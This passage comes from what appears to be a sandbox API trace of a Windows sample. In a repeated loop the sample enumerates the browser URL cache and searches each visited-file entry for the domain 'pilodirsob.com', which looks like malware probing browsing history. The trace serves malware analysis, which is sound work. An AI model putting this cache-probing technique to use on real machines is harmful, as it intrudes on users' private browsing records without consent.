lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.216] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/odN690Uv.png", lpSrch="pilodirsob.com") returned 0x0 [0096.216] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.216] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/3CvbZ27sNVNlEIcDr.png", lpSrch="pilodirsob.com") returned 0x0 [0096.216] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.216] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/4rGyMG.docx", lpSrch="pilodirsob.com") returned 0x0 [0096.216] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.216] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/4bv6e%200zL/OZyz34.gif", lpSrch="pilodirsob.com") returned 0x0 [0096.216] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.217] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/WBajqFyl.xlsx", lpSrch="pilodirsob.com") returned 0x0 [0096.217] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.217] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/n8M3fjA-kFT1.ots", lpSrch="pilodirsob.com") returned 0x0 [0096.217] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.217] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/Y8tzWbOK4nv/KFFJsVbjyjxysr-W.gif", lpSrch="pilodirsob.com") returned 0x0 [0096.217] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.217] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/UxNpgcGIbmQ/krVny.jpg", lpSrch="pilodirsob.com") returned 0x0 [0096.217] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.217] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/wUbOzMUHShGB0.odp", lpSrch="pilodirsob.com") returned 0x0 [0096.217] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.217] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Videos/qCMb0KA7MfMwnqR-.flv", lpSrch="pilodirsob.com") returned 0x0 [0096.217] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.217] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/UxNpgcGIbmQ/E6EbhMwBQFcvigF.png", lpSrch="pilodirsob.com") returned 0x0 [0096.217] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.217] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/Y8tzWbOK4nv/ptN2ZuQ8amSwzj3Hf.bmp", lpSrch="pilodirsob.com") returned 0x0 [0096.217] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.217] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/UNj%202EcIBC-S/cZvpt11ZCV-bnogz/xaBuqdV.gif", lpSrch="pilodirsob.com") returned 0x0 [0096.217] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.217] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Videos/oNeEpnzll.mkv", lpSrch="pilodirsob.com") returned 0x0 [0096.217] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.217] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/1n511.bmp", lpSrch="pilodirsob.com") returned 0x0 [0096.218] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.218] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/rPvFAdqEUop.ppt", lpSrch="pilodirsob.com") returned 0x0 [0096.218] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.218] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/ANIK59S7NBZeKp.pptx", lpSrch="pilodirsob.com") returned 0x0 [0096.218] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.218] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/UNj%202EcIBC-S/cZvpt11ZCV-bnogz/BEwDL2lhD.jpg", lpSrch="pilodirsob.com") returned 0x0 [0096.218] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.218] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Videos/yUidHJTCMwIHB.mkv", lpSrch="pilodirsob.com") returned 0x0 [0096.218] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.218] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XVVo133TnKkCQ.xlsx", lpSrch="pilodirsob.com") returned 0x0 [0096.218] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.218] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/aKbv1Oo1ETirSfd1q%20gy.pdf", lpSrch="pilodirsob.com") returned 0x0 [0096.218] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.218] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/ZdbtJVvb-6FXnFWxnrvN.xlsx", lpSrch="pilodirsob.com") returned 0x0 [0096.218] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.218] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/hKwg8OaHHgS.xlsx", lpSrch="pilodirsob.com") returned 0x0 [0096.218] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.218] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/T5dulIYQq84F0WjyJUxJ.ppt", lpSrch="pilodirsob.com") returned 0x0 [0096.218] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.218] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/MfwyTnE4iFa5h9ugGQrN.pdf", lpSrch="pilodirsob.com") returned 0x0 [0096.218] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.219] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/SjLKY_5Dm-8SOC.xls", lpSrch="pilodirsob.com") returned 0x0 [0096.219] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.219] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/mn2%20LcY4GUIecD_.bmp", lpSrch="pilodirsob.com") returned 0x0 [0096.219] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.219] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/UxNpgcGIbmQ/l1bgOIHxE2P.jpg", lpSrch="pilodirsob.com") returned 0x0 [0096.219] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.219] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/PTsUdLj.xlsx", lpSrch="pilodirsob.com") returned 0x0 [0096.219] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.219] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/KBQZNG4i7j8.ots", lpSrch="pilodirsob.com") returned 0x0 [0096.219] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.219] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/_IJOcqcmeHFr9tYfyh.pptx", lpSrch="pilodirsob.com") returned 0x0 [0096.219] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.219] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/Y8tzWbOK4nv/NIMuK7.xlsx", lpSrch="pilodirsob.com") returned 0x0 [0096.219] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.219] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/99en0joo4697S6Ply8c.jpg", lpSrch="pilodirsob.com") returned 0x0 [0096.219] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.219] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/p0wZEr1Gdg6.xlsx", lpSrch="pilodirsob.com") returned 0x0 [0096.219] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.219] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/gt06Y_qsET.gif", lpSrch="pilodirsob.com") returned 0x0 [0096.219] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.219] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Videos/u4W7ouy80phhP-B9lpM.flv", lpSrch="pilodirsob.com") returned 0x0 [0096.220] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.220] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/MpncdNiVe8l4XxDfPC.gif", lpSrch="pilodirsob.com") returned 0x0 [0096.220] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.220] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/Imdq5H_.pdf", lpSrch="pilodirsob.com") returned 0x0 [0096.220] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.220] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/AqfhNAWOaNpeMnbA.xlsx", lpSrch="pilodirsob.com") returned 0x0 [0096.220] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.220] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/4bv6e%200zL/Req5F_foHfyN.bmp", lpSrch="pilodirsob.com") returned 0x0 [0096.220] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.220] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/Z3zsui1f6tKO9.odt", lpSrch="pilodirsob.com") returned 0x0 [0096.220] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.220] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/_q_M.mkv", lpSrch="pilodirsob.com") returned 0x0 [0096.220] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.220] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/xKrI%20YIsYZAMK3.gif", lpSrch="pilodirsob.com") returned 0x0 [0096.220] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.220] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/1Nbjb.csv", lpSrch="pilodirsob.com") returned 0x0 [0096.220] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.220] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/Y8tzWbOK4nv/F9tvnzY%20y%20Ws6M.flv", lpSrch="pilodirsob.com") returned 0x0 [0096.220] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.220] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/cL5j2IsQXoG_m811.rtf", lpSrch="pilodirsob.com") returned 0x0 [0096.220] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.221] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/4bv6e%200zL/MVjmbl2VG-kil9l.bmp", lpSrch="pilodirsob.com") returned 0x0 [0096.221] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.221] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/CxnHb6T3sE6UOsni3FQS.bmp", lpSrch="pilodirsob.com") returned 0x0 [0096.221] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.221] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/2B4wzDIgK8y.docx", lpSrch="pilodirsob.com") returned 0x0 [0096.221] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.221] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/S4EkYkW8VR.bmp", lpSrch="pilodirsob.com") returned 0x0 [0096.221] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.221] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/odSuOiq0XNRIhfz.pptx", lpSrch="pilodirsob.com") returned 0x0 [0096.221] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.221] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Videos/hAaKCTy3e%20NLBRn/cnuuaN6.flv", lpSrch="pilodirsob.com") returned 0x0 [0096.221] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.221] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/HYnI7oS3.ots", lpSrch="pilodirsob.com") returned 0x0 [0096.221] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.221] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Videos/dd3O.mkv", lpSrch="pilodirsob.com") returned 0x0 [0096.221] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.221] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/lC5vY2DseDnk83eN.flv", lpSrch="pilodirsob.com") returned 0x0 [0096.221] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.221] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/OQH3M.xlsx", lpSrch="pilodirsob.com") returned 0x0 [0096.221] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.221] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/biY7nHZrMc.doc", lpSrch="pilodirsob.com") returned 0x0 [0096.222] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.222] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/4bv6e%200zL/ELxtM.gif", lpSrch="pilodirsob.com") returned 0x0 [0096.222] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.222] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/4bv6e%200zL/pbyLR8KlH7TIC/_uEHGA5N-.gif", lpSrch="pilodirsob.com") returned 0x0 [0096.222] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.222] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/UNj%202EcIBC-S/pM2SVtUE.gif", lpSrch="pilodirsob.com") returned 0x0 [0096.222] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.222] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Documents/Goqt.pptx", lpSrch="pilodirsob.com") returned 0x0 [0096.222] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.222] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/nedQWQ4Rzcq.gif", lpSrch="pilodirsob.com") returned 0x0 [0096.222] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.222] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Pictures/SjMh/UNj%202EcIBC-S/MihBgkQ6yu89sgOk.jpg", lpSrch="pilodirsob.com") returned 0x0 [0096.222] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.222] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/AppData/Roaming/agwS9jwJhHy%20p1.odt", lpSrch="pilodirsob.com") returned 0x0 [0096.222] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.222] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Desktop/37faU3%20U8a8X.ots", lpSrch="pilodirsob.com") returned 0x0 [0096.222] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c) returned 1 [0096.222] StrStrIA (lpFirst="Visited: aETAdzjz@file:///C:/Users/aETAdzjz/Videos/hAaKCTy3e%20NLBRn/dW6OQzT/FvH7i.mkv", lpSrch="pilodirsob.com") returned 0x0 [0096.223] FindNextUrlCacheEntryA (in: hEnumHandle=0x1, lpNextCacheEntryInfo=0x26d00d8, lpcbCacheEntryInfo=0x30efd8c | out: lpNextCacheEntryInfo=0x26d00d8, 